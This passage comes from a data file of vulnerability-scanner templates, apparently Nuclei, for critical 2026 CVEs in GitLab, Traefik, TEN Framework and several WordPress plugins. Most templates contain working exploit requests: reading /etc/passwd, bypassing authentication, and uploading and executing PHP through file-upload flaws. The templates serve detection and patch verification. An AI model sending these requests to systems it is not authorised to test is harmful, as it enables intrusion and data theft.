     part: interactsh_protocol\n        words:\n          - \"dns\"\n          - \"http\"\n        condition: or\n\n      - type: word\n        part: body\n        words:\n          - \"Backup verification failed\"\n# digest: 4b0a00483046022100ca2ec868a8db868620f054086f0f6d07bd44b0fb82d342b74a605f70da6d9feb022100a7e10710e313488a81b7c1b373176b74d44580ef1d5ca24e6649f8ae91163295:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-85714.yaml","vuln_id":"cve-2026-85714"},{"raw":"id: CVE-2026-85706\n\ninfo:\n  name: GitLab CE/EE <=19.1.7/19.2.5/19.3.1 - Arbitrary File Read\n  author: FLX\n  severity: critical\n  description: |\n    GitLab CE/EE contains an unauthenticated arbitrary file read. Workhorse, the reverse proxy in front of Rails, matches upload routes using EscapedPath() and path.Clean without decoding percent sequences, while Puma decodes them before routing to Grape. Appending a trailing slash to commits or percent-encoding a static path segment as %63ommits therefore bypasses Workhorse upload route rewriting, and Rails reaches file_params_from_body_upload() which opens the path given in the file.path parameter before authenticate! is enforced. On the application/x-www-form-urlencoded branch the file bytes are handed to Rack::Utils.parse_nested_query, and any invalid percent sequence raises an ArgumentError whose message is interpolated into the HTTP 400 response body, disclosing file content to an unauthenticated caller.\n  impact: |\n    Unauthenticated remote attackers can read any file accessible to the GitLab git user, including /etc/passwd, database credentials, secrets.yml, SSH private keys, and CI build artifacts, which in turn enables session forgery and full compromise of the instance. Exploitation requires at least one publicly readable project on the target.\n  remediation: |\n    Upgrade GitLab CE/EE to 19.1.8, 19.2.6, or 19.3.2 or later. The fix moves authenticate! ahead of file processing and stops accepting raw file.path and file.size parameters from untrusted clients.\n  reference:\n    - https://about.gitlab.com/releases/2026/09/10/patch-release-gitlab-19-3-2-released/\n    - https://gitlab.com/gitlab-org/gitlab/-/commit/0ff7b6b2911723389f2271b10362591b0a69a166\n    - https://github.com/ynsmroztas/GitLabSniper\n    - https://github.com/mhtsec/CVE-2026-85706\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-85706\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N\n    cvss-score: 10.0\n    cve-id: CVE-2026-85706\n    epss-score: 0.97355\n    epss-percentile: 0.99897\n    cwe-id: CWE-22\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: gitlab\n    product: gitlab\n    shodan-query: http.title:\"GitLab\"\n    fofa-query: title=\"gitlab\"\n  tags: cve,cve2026,gitlab,lfi,unauth,kev,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        POST /api/v4/projects/1/repository/%66iles/{{randstr}}?file=&file.path=/cve-2026-85706-nuclei-probe&file.size=1&Content-Type=application/x-www-form-urlencoded HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n        Accept: application/json, */*\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"local file not present\"\n\n      - type: status\n        status:\n          - 400\n# digest: 490a00463044022020ffd638effcea5a4f99f15c38cc56cc9fbbea2b7404c53fb8e607569ad6737802203fe8b2a1e75d0995580e0f3da83e5acd07096f476463f45165963cc1686a14ab:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-85706.yaml","vuln_id":"cve-2026-85706"},{"raw":"id: CVE-2026-85688\n\ninfo:\n  name: TEN Framework - Arbitrary File Read & Write\n  author: aryu-ru,geo-chen\n  severity: critical\n  description: |\n    TEN Framework 0.11.71 contains unauthenticated arbitrary file read and write vulnerabilities in the TMAN Designer file-content API endpoints, letting attackers read or write arbitrary files and execute code. The exploit requires no authentication.\n  impact: |\n    Attackers can read and write arbitrary files and execute code, potentially leading to full system compromise.\n  remediation: |\n    Update to the latest version of TEN Framework.\n  reference:\n    - https://www.vulncheck.com/advisories/ten-framework-0.11.71-unauthenticated-file-read-write-via-tman-designer\n    - https://github.com/TEN-framework/ten-framework/issues/2187\n    - https://github.com/TEN-framework/ten-framework/blob/0.11.71/core/src/ten_manager/src/designer/file_content/mod.rs\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-85688\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-85688\n    epss-score: 0.02641\n    epss-percentile: 0.85627\n    cwe-id: CWE-306\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: ten-framework\n    product: ten-framework\n    shodan-query: http.title:\"TEN Manager\"\n    fofa-query: title=\"TEN Manager\"\n  tags: cve,cve2026,ten-framework,tman,lfi,ai,unauth,vkev\n\nhttp:\n  - raw:\n      - |\n        POST /api/designer/v1/file-content HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"file_path\":\"/etc/passwd\"}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains_all(body, \"\\\"status\\\":\\\"ok\\\"\", \"\\\"data\\\":{\\\"content\\\":\\\"\", \"root:\")'\n          - 'contains(content_type, \"application/json\")'\n          - 'status_code == 200'\n        condition: and\n# digest: 4b0a0048304602210086fc2a18397a2424f21ff12d01e838c7d4ff483c7611b57d2bd4f8b2bc06401b022100e0d2a615f094de97fa95acd96c42965b2772b5b082de088d1c29b1aab0d16b93:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-85688.yaml","vuln_id":"cve-2026-85688"},{"raw":"id: CVE-2026-85595\n\ninfo:\n  name: Traefik < 2.11.55 / 3.0.0 - 3.7.10 - Digest Authentication Bypass\n  author: Boreas37\n  severity: critical\n  description: |\n    Traefik < 2.11.55 contains an authentication bypass caused by digestAuth middleware returning empty secret for unknown usernames, letting attackers bypass authentication on digestAuth-protected routes without valid credentials.\n  impact: |\n    Attackers can bypass authentication on protected routes, gaining unauthorized access to restricted resources.\n  remediation: |\n    Update to version 2.11.55 or later.\n  reference:\n    - https://github.com/traefik/traefik/security/advisories/GHSA-5w68-77r2-r64c\n    - https://github.com/containous/go-http-auth/commit/b975dcaa8c48\n    - https://github.com/traefik/traefik/commit/2116686308a2\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-85595\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-85595\n    epss-score: 0.02451\n    epss-percentile: 0.84435\n    cwe-id: CWE-287\n  metadata:\n    max-request: 2\n    verified: true\n    vendor: traefik\n    product: traefik\n    shodan-query: http.title:\"Traefik\"\n  tags: cve,cve2026,traefik,digest,auth-bypass\n\nflow: http(1) && http(2)\n\nvariables:\n  username: \"traefik-poc\"\n\nhttp:\n  - raw:\n      - |\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code_1 == 401'\n          - 'contains(tolower(header_1), \"digest realm=\")'\n        condition: and\n        internal: true\n\n    extractors:\n      - type: regex\n        name: realm\n        part: header\n        group: 1\n        regex:\n          - 'realm=\"([^\"]+)\"'\n        internal: true\n\n      - type: regex\n        name: nonce\n        part: header\n        group: 1\n        regex:\n          - 'nonce=\"([^\"]+)\"'\n        internal: true\n\n      - type: regex\n        name: opaque\n        part: header\n        group: 1\n        regex:\n          - 'opaque=\"([^\"]+)\"'\n        internal: true\n\n  - raw:\n      - |\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n        Authorization: Digest username=\"{{username}}\", realm=\"{{realm}}\", nonce=\"{{nonce}}\", uri=\"{{path}}\", qop=auth, nc=00000001, cnonce=\"0a4f113b\", response=\"{{md5(concat(\":\", nonce, \":00000001:0a4f113b:auth:\", md5(concat(\"GET:\", path))))}}\", opaque=\"{{opaque}}\", algorithm=MD5\n\n    matchers:\n      - type: dsl\n        condition: and\n        dsl:\n          - 'status_code == 200'\n          - '!contains(tolower(header), \"www-authenticate\")'\n# digest: 490a004630440220126094fc8d06e0ba7716c38f1e8d9986bafb85b4f82d3a6e4b1a808a5c71cbeb022020776ef9ac260c55b9a747876e6a7f30dd49376b6f22264cd1fa68ab5482fa3c:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-85595.yaml","vuln_id":"cve-2026-85595"},{"raw":"id: CVE-2026-85200\n\ninfo:\n  name: GEO my WP <=4.5.5.3 - Unauthenticated Local File Inclusion\n  author: 0x_Akoko\n  severity: high\n  description: |\n    GEO my WP WordPress plugin <= 4.5.5.3 contains a local file inclusion caused by improper handling in gmw_posts_locator_ajax_info_window_loader function, letting unauthenticated attackers execute arbitrary PHP code remotely.\n  impact: |\n    Unauthenticated attackers can execute arbitrary PHP code remotely, potentially leading to full server compromise and data exposure.\n  remediation: |\n    Update to the latest version beyond 4.5.5.3.\n  reference:\n    - https://www.wordfence.com/threat-intel/vulnerabilities/id/562712a8-a42e-4b36-9985-3c71698efdda\n    - https://github.com/Fitoussi/geo-my-wp/commit/5a768bf1c6e44ded83a65be8789f3587515665ac\n    - https://plugins.trac.wordpress.org/browser/geo-my-wp/tags/4.5.5.3/includes/gmw-functions.php#L1945\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2026-85200\n    epss-score: 0.03227\n    epss-percentile: 0.88289\n    cwe-id: CWE-98\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: developer.developer\n    product: geo-my-wp\n    shodan-query: 'http.html:\"/wp-content/plugins/geo-my-wp/\"'\n    fofa-query: 'body=\"/wp-content/plugins/geo-my-wp/\"'\n  tags: cve,cve2026,wordpress,wp-plugin,geo-my-wp,lfi,unauth,vkev\n\nhttp:\n  - raw:\n      - |\n        POST /wp-admin/admin-ajax.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        action=gmw_info_window_init&location[object_id]=1&location[location_id]=1&form[component]=posts_locator&form[prefix]=pt&form[info_window_template][content_path]=/etc/passwd\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"root:x:0:0\"\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a004730450221008fc4c8ee6780dede10214f7c6eb3c4a126ea98367fcd127e6947fbdb482c1df80220629ef8a99518c6cc1c2554bbe41c3d496e3cfb63118e15331ed68bfceb32dc27:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-85200.yaml","vuln_id":"cve-2026-85200"},{"raw":"id: CVE-2026-85097\n\ninfo:\n  name: Bricksforge WordPress Plugin <=3.1.8.9 - Unauthenticated Arbitrary File Upload\n  author: DhiyaneshDk\n  severity: critical\n  description: |\n    Bricksforge WordPress plugin versions up to and including 3.1.8.9 are vulnerable to unauthenticated arbitrary file upload leading to remote code execution. An attacker obtains a wp_rest nonce via the bricksforge_regenerate_nonce AJAX action, uploads a GIF/PHP polyglot through the form_file_upload REST endpoint with the nonce in the X-WP-Nonce header, then triggers form_submit to copy the file to the WordPress media uploads directory where it executes as PHP. Requires a published Bricks Pro Form with a file field on the target; the post_id, form_id, and field_id template variables must be set accordingly.\n  impact: |\n    An unauthenticated attacker can upload and execute arbitrary PHP code on the web server, leading to full server compromise.\n  remediation:\n    Update Bricksforge to version 3.1.8.10, 4.0.1, or later.\n  reference:\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-85097\n    - https://github.com/BlackHatExploitation/CVE-2026-85097\n    - https://patchstack.com/articles/critical-unauthenticated-arbitrary-file-upload-vulnerability-exploited-in-bricksforge-plugin/\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-85097\n    epss-score: 0.03287\n    epss-percentile: 0.88511\n    cwe-id: CWE-434\n  metadata:\n    verified: true\n    max-request: 5\n    vendor: bricksforge\n    product: bricksforge\n    framework: wordpress\n    shodan-query: 'http.html:\"wp-content/plugins/bricksforge\"'\n    fofa-query: 'body=\"wp-content/plugins/bricksforge\"'\n  tags: cve,cve2026,wordpress,wp-plugin,bricksforge,file-upload,rce,unauth,intrusive,vkev\n\nvariables:\n  marker: \"{{rand_text_alpha(12)}}\"\n  probe: \"{{rand_text_alpha(8)}}\"\n  gif_name: \"{{rand_text_alpha(8)}}\"\n  post_id: \"6\"\n  form_id: \"frmaaa\"\n  field_id: \"file\"\n\nflow: http(1) && http(2) && http(3) && http(4) && http(5)\n\nhttp:\n  - raw:\n      - |\n        GET /wp-content/plugins/bricksforge/README.txt HTTP/1.1\n        Host: {{Hostname}}\n\n      - |\n        GET /wp-content/plugins/bricksforge/readme.txt HTTP/1.1\n        Host: {{Hostname}}\n\n    stop-at-first-match: true\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"bricksforge\"\n        case-insensitive: true\n        internal: true\n\n      - type: status\n        status:\n          - 200\n        internal: true\n\n    extractors:\n      - type: regex\n        name: bf_version\n        part: body\n        regex:\n          - 'Stable tag:\\s*([0-9.]+)'\n        group: 1\n        internal: true\n\n  - raw:\n      - |\n        POST /wp-admin/admin-ajax.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n        X-Requested-With: XMLHttpRequest\n\n        action=bricksforge_regenerate_nonce\n\n    matchers:\n      - type: status\n        status:\n          - 200\n        internal: true\n\n    extractors:\n      - type: json\n        name: bf_nonce\n        part: body\n        json:\n          - \".data.nonce\"\n        internal: true\n\n  - raw:\n      - |\n        POST /wp-json/bricksforge/v1/form_file_upload HTTP/1.1\n        Host: {{Hostname}}\n        X-WP-Nonce: {{bf_nonce}}\n        Content-Type: multipart/form-data; boundary=BFProbeUpload7391625\n\n        --BFProbeUpload7391625\n        Content-Disposition: form-data; name=\"file[]\"; filename=\"{{gif_name}}.gif\"\n        Content-Type: image/gif\n\n        GIF89a<?php echo '{{marker}}'; ?>\n        --BFProbeUpload7391625--\n\n    matchers:\n      - type: regex\n        part: body\n        regex:\n          - '\"file\"\\s*:\\s*\"((?:\\\\/|/)[^\"]+\\.gif)\"'\n        internal: true\n\n    extractors:\n      - type: regex\n        name: tmp_file_path\n        part: body\n        regex:\n          - '\"file\"\\s*:\\s*\"((?:\\\\/|/)[^\"]+\\.gif)\"'\n        group: 1\n        internal: true\n\n  - raw:\n      - |\n        POST /wp-json/bricksforge/v1/form_submit HTTP/1.1\n        Host: {{Hostname}}\n        X-WP-Nonce: {{bf_nonce}}\n        Content-Type: application/x-www-form-urlencoded\n\n        postId={{post_id}}&formId={{form_id}}&formIdFallback={{form_id}}&fieldIds=%7B%22{{field_id}}%22%3A%22{{field_id}}%22%7D&temporaryFileUploads=%5B%7B%22field%22%3A%22form-field-{{field_id}}%22%2C%22file%22%3A%7B%22file%22%3A%22{{tmp_file_path}}%22%2C%22url%22%3A%22{{Scheme}}%3A%2F%2F{{Hostname}}%2Fwp-content%2Fuploads%2Fbricksforge%2Ftmp%2F{{probe}}.php%22%2C%22type%22%3A%22image%2Fgif%22%7D%7D%5D&form-field-{{field_id}}=\n\n    matchers:\n      - type: status\n        status:\n          - 200\n        internal: true\n\n    extractors:\n      - type: regex\n        name: up_year\n        part: body\n        regex:\n          - 'uploads\\\\?/(\\d{4})\\\\?/\\d{2}\\\\?/[^\"\\\\]*\\.php'\n        group: 1\n        internal: true\n\n      - type: regex\n        name: up_month\n        part: body\n        regex:\n          - 'uploads\\\\?/\\d{4}\\\\?/(\\d{2})\\\\?/[^\"\\\\]*\\.php'\n        group: 1\n        internal: true\n\n  - raw:\n      - |\n        GET /wp-content/uploads/{{up_year}}/{{up_month}}/{{probe}}.php HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"{{marker}}\"\n\n      - type: status\n        status:\n          - 200\n# digest: 4b0a00483046022100a07a2c57324d13c64c97f2835638087a693e27c3fe7257ab2ceb14eeec28cb9a022100b77a3615d2f4055ae5b3aed505a20d58a9adae01d12b0b6837c0578b358da4d1:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-85097.yaml","vuln_id":"cve-2026-85097"},{"raw":"id: CVE-2026-84434\n\ninfo:\n  name: WordPress Gravity Forms Plugin <=3.1.0.4 - Unauthenticated Arbitrary File Upload\n  author: DhiyaneshDk\n  severity: critical\n  description: |\n    Gravity Forms WordPress plugin version 3.1.0.4 and earlier contains an unauthenticated arbitrary file upload vulnerability caused by bypassing extension validation in hidden file upload fields. Unauthenticated attackers can upload any file type including PHP when a form has a File Upload field configured with Hidden visibility. The bypass works because the server-side extension validation is skipped for fields with gfield_visibility_hidden CSS class.\n  impact: |\n    Unauthenticated attackers can upload arbitrary files including PHP webshells, enabling remote code execution on the web server leading to full server compromise.\n  remediation: |\n    Update Gravity Forms to version 3.1.1 or later.\n  reference:\n    - https://github.com/murrez/CVE-2026-84434\n    - https://patchstack.com/database/wordpress/plugin/gravityforms/vulnerability/wordpress-gravity-forms-plugin-3-1-0-4-unauthenticated-arbitrary-file-upload-via-hidden-file-upload-field-vulnerability\n    - https://www.wordfence.com/threat-intel/vulnerabilities/id/787e22a9-329b-4e71-bc2a-4f5524fc9356\n    - https://docs.gravityforms.com/gravityforms-change-log/\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-84434\n    epss-score: 0.0391\n    epss-percentile: 0.90323\n    cwe-id: CWE-434\n  metadata:\n    verified: true\n    max-request: 21\n    vendor: rocketgenius\n    product: gravityforms\n    shodan-query: 'http.html:\"gravityforms\" http.html:\"gform_wrapper\"'\n    fofa-query: 'body=\"gravityforms\" && body=\"gform_wrapper\"'\n  tags: cve,cve2026,wordpress,plugin,gravityforms,file-upload,rce,unauth,vkev\n\nvariables:\n  marker: \"{{rand_text_alpha(16)}}\"\n  fname: \"{{rand_text_alpha(10)}}\"\n  boundary: \"NucleiUpload{{rand_text_alpha(12)}}\"\n\nflow: |\n  http(\"detect\");\n\n  let scanPaths = [\"/\", \"/contact/\", \"/contact-us/\", \"/get-in-touch/\", \"/support/\",\n                   \"/apply/\", \"/register/\", \"/signup/\", \"/donate/\", \"/quote/\",\n                   \"/request-quote/\", \"/book/\", \"/appointment/\", \"/upload/\"];\n\n  let formFound = false;\n\n  for (let i = 0; i < scanPaths.length; i++) {\n    set(\"scan_path\", scanPaths[i]);\n    http(\"scan\");\n\n    if (template[\"form_id\"] && template[\"hidden_field_input_name\"]) {\n      set(\"found_page_path\", scanPaths[i]);\n      formFound = true;\n      break;\n    }\n    set(\"form_id\", \"\");\n    set(\"hidden_field_input_name\", \"\");\n  }\n\n  if (!formFound) {\n    stop();\n  }\n\n  http(\"submit-page\");\n\n  if (!template[\"upload_file_url\"] && !template[\"upload_rel_url\"] && template[\"gform_ajax_value\"]) {\n    http(\"submit-ajax\");\n  }\n\n  let verifyUrl = template[\"upload_file_url\"] || template[\"upload_rel_url\"] || \"\";\n  if (verifyUrl) {\n    if (!verifyUrl.startsWith(\"http\")) {\n      verifyUrl = \"{{BaseURL}}/\" + verifyUrl;\n    }\n    verifyUrl = verifyUrl.replace(/&amp;/g, \"&\");\n    set(\"verify_url\", verifyUrl);\n    http(\"verify-upload\");\n  }\n\nhttp:\n  - id: detect\n    raw:\n      - |\n        GET /wp-content/plugins/gravityforms/gravityforms.php HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n        internal: true\n\n  - id: scan\n    raw:\n      - |\n        GET {{BaseURL}}{{scan_path}} HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains_all(body, \"gfield_visibility_hidden\", \"gfield--type-fileupload\", \"gravityforms\")'\n        internal: true\n\n    extractors:\n      - type: regex\n        name: form_id\n        part: body\n        internal: true\n        group: 1\n        regex:\n          - 'id=[\"'']?gform_wrapper_([0-9]+)[\"'']?'\n\n      - type: regex\n        name: hidden_field_input_name\n        part: body\n        internal: true\n        group: 1\n        regex:\n          - 'gfield_visibility_hidden[^>]*>[\\s\\S]{0,800}?name=[\"''](input_[0-9]+(?:_[0-9]+)?)[\"''][^>]*type=[\"'']file[\"'']'\n          - 'gfield_visibility_hidden[^>]*>[\\s\\S]{0,800}?type=[\"'']file[\"''][^>]*name=[\"''](input_[0-9]+(?:_[0-9]+)?)[\"'']'\n\n      - type: regex\n        name: form_unique_id\n        part: body\n        internal: true\n        group: 1\n        regex:\n          - 'name=[\"'']gform_unique_id[\"''][^>]*value=[\"'']([^\"'']*)[\"'']'\n\n      - type: regex\n        name: gform_ajax_value\n        part: body\n        internal: true\n        group: 1\n        regex:\n          - 'name=[\"'']gform_ajax[\"''][^>]*value=[\"'']([^\"'']*)[\"'']'\n\n  - id: submit-page\n    raw:\n      - |\n        POST {{BaseURL}}{{found_page_path}} HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: multipart/form-data; boundary=----{{boundary}}\n        Referer: {{BaseURL}}{{found_page_path}}\n        Origin: {{RootURL}}\n\n        ------{{boundary}}\n        Content-Disposition: form-data; name=\"is_submit_{{form_id}}\"\n\n        1\n        ------{{boundary}}\n        Content-Disposition: form-data; name=\"gform_submit\"\n\n        {{form_id}}\n        ------{{boundary}}\n        Content-Disposition: form-data; name=\"gform_unique_id\"\n\n        {{form_unique_id}}\n        ------{{boundary}}\n        Content-Disposition: form-data; name=\"gform_target_page_number_{{form_id}}\"\n\n        0\n        ------{{boundary}}\n        Content-Disposition: form-data; name=\"gform_source_page_number_{{form_id}}\"\n\n        1\n        ------{{boundary}}\n        Content-Disposition: form-data; name=\"{{hidden_field_input_name}}\"; filename=\"{{fname}}.php\"\n        Content-Type: application/x-php\n\n        {{marker}}\n        ------{{boundary}}--\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains_any(body, \"gform_confirmation\", \"gf-download\", \"wp-content/uploads/gravity_forms\", \"is_valid\")'\n\n\n    extractors:\n      - type: regex\n        name: upload_file_url\n        part: body\n        internal: true\n        group: 1\n        regex:\n          - 'href=[''\"]((?:https?:)?//[^''\"]*gf-download=[^''\"]+)[''\"]'\n\n      - type: regex\n        name: upload_rel_url\n        part: body\n        internal: true\n        group: 0\n        regex:\n          - 'index\\.php\\?gf-download=[^''\"<>\\s]+'\n\n  - id: submit-ajax\n    raw:\n      - |\n        POST /wp-admin/admin-ajax.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: multipart/form-data; boundary=----{{boundary}}\n        Referer: {{BaseURL}}{{found_page_path}}\n        Origin: {{RootURL}}\n\n        ------{{boundary}}\n        Content-Disposition: form-data; name=\"action\"\n\n        gform_ajax\n        ------{{boundary}}\n        Content-Disposition: form-data; name=\"gform_ajax\"\n\n        {{gform_ajax_value}}\n        ------{{boundary}}\n        Content-Disposition: form-data; name=\"is_submit_{{form_id}}\"\n\n        1\n        ------{{boundary}}\n        Content-Disposition: form-data; name=\"gform_submit\"\n\n        {{form_id}}\n        ------{{boundary}}\n        Content-Disposition: form-data; name=\"gform_unique_id\"\n\n        {{form_unique_id}}\n        ------{{boundary}}\n        Content-Disposition: form-data; name=\"gform_target_page_number_{{form_id}}\"\n\n        0\n        ------{{boundary}}\n        Content-Disposition: form-data; name=\"gform_source_page_number_{{form_id}}\"\n\n        1\n        ------{{boundary}}\n        Content-Disposition: form-data; name=\"{{hidden_field_input_name}}\"; filename=\"{{fname}}.php\"\n        Content-Type: application/x-php\n\n        {{marker}}\n        ------{{boundary}}--\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains_any(body, \"gform_confirmation\", \"gf-download\", \"wp-content/uploads/gravity_forms\", \"is_valid\")'\n        internal: true\n\n    extractors:\n      - type: regex\n        name: upload_file_url\n        part: body\n        internal: true\n        group: 1\n        regex:\n          - 'href=[''\"]((?:https?:)?//[^''\"]*gf-download=[^''\"]+)[''\"]'\n\n      - type: regex\n        name: upload_rel_url\n        part: body\n        internal: true\n        group: 0\n        regex:\n          - 'index\\.php\\?gf-download=[^''\"<>\\s]+'\n\n  - id: verify-upload\n    raw:\n      - |\n        GET {{verify_url}} HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(body, \"{{marker}}\")'\n# digest: 490a00463044022040f8392718125daf68065a1beed821feb2881a0cdba9b89116d3c7ce76aea4300220474a6da18385e9f7258c9541ad4ee09c8dcc5d36d251943afb7f88bf1efbe9fb:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-84434.yaml","vuln_id":"cve-2026-84434"},{"raw":"id: CVE-2026-8386\n\ninfo:\n  name: WP Go Maps < 10.0.10 - Unauthenticated Marker Information Disclosure\n  author: 0x_Akoko\n  severity: medium\n  description: |\n   WP Go Maps WordPress plugin <10.0.10 contains an information disclosure vulnerability caused by lack of approval-state filtering on the public single-marker REST endpoint, letting unauthenticated users access unapproved marker records including PII and geographic coordinates, exploit requires no authentication.\n  impact: |\n    Unauthenticated users can access sensitive unapproved marker data including PII and location coordinates.\n  remediation: |\n    Upgrade to version 10.0.10 or later.\n  reference:\n    - https://wpscan.com/vulnerability/fa7f5cb0-abe2-4079-9290-e0e4dc89f27f/\n    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-8386\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N\n    cvss-score: 5.3\n    cve-id: CVE-2026-8386\n    epss-score: 0.007\n    epss-percentile: 0.53289\n    cwe-id: CWE-862\n  metadata:\n    verified: false\n    max-request: 4\n    fofa-query: body=\"/wp-content/plugins/wp-google-maps/\"\n    tags: cve,cve2026,wordpress,wp-plugin,wp-google-maps,disclosure,unauth,rest-api\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        GET /wp-content/plugins/wp-google-maps/readme.txt HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"WP Go Maps\") || contains(body, \"WP Google Maps\")'\n          - 'compare_versions(lsversion, \">=1.0.0\", \"<=10.0.9\")'\n        condition: and\n        internal: true\n\n    extractors:\n      - type: regex\n        name: lsversion\n        internal: true\n        group: 1\n        regex:\n          - 'Stable tag: ([\\d.]+)'\n\n  - method: GET\n    path:\n      - \"{{BaseURL}}/?rest_route=/wpgmza/v1/markers/1/\"\n      - \"{{BaseURL}}/?rest_route=/wpgmza/v1/markers/2/\"\n      - \"{{BaseURL}}/?rest_route=/wpgmza/v1/markers/3/\"\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(content_type, \"application/json\")'\n          - 'contains_all(body, \"approved\", \"lat\", \"lng\", \"map_id\")'\n        condition: and\n# digest: 4a0a00473045022100acb945376f00f5b9e21e5df138a650bbc1db7818d4ce39b3c2efaf204571ba3702205da14872ecd7ad2d5d09e63ab830549a4cb1a0183d92269fae83bb63d4ef8124:922c64590222798bb761d5b6d8e72950","severity":"medium","template_path":"http/cves/2026/CVE-2026-8386.yaml","vuln_id":"cve-2026-8386"},{"raw":"id: CVE-2026-8385\n\ninfo:\n  name: WordPress WP Go Maps < 10.0.10 - Unauthenticated Marker Data Disclosure\n  author: 0x_Akoko\n  severity: medium\n  description: |\n   WP Go Maps WordPress plugin < 10.0.10 contains an information disclosure vulnerability caused by improper enforcement of marker approval filter in admin-ajax fallback for datatables route, letting unauthenticated visitors retrieve unapproved marker records.\n  impact: |\n    Unauthenticated attackers can access unapproved marker data including title, category, address, and description, leading to sensitive information disclosure.\n  remediation: |\n    Update to version 10.0.10 or later.\n  reference:\n    - https://wpscan.com/vulnerability/984cad38-6d01-4956-8bf1-29585258780b/\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-8385\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N\n    cvss-score: 5.3\n    cve-id: CVE-2026-8385\n    epss-score: 0.00801\n    epss-percentile: 0.56726\n    cwe-id: CWE-200\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: developer-developer\n    product: wp-google-maps\n    framework: wordpress\n    shodan-query: http.html:\"wp-google-maps\"\n    fofa-query: body=\"wp-google-maps\"\n  tags: cve,cve2026,wordpress,wp-plugin,wp,wp-google-maps,exposure\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        GET /wp-content/plugins/wp-google-maps/readme.txt HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"WP Google Maps\")'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        POST /wp-admin/admin-ajax.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        action=wpgmza_rest_api_request&route=%2Fdatatables%2F&phpClass=WPGMZA%5CMarkerDataTable&map_id=1&length=10&start=0&draw=1\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(content_type, \"application/json\")'\n          - 'contains_all(body, \"recordsTotal\", \"recordsFiltered\", \"address\")'\n        condition: and\n# digest: 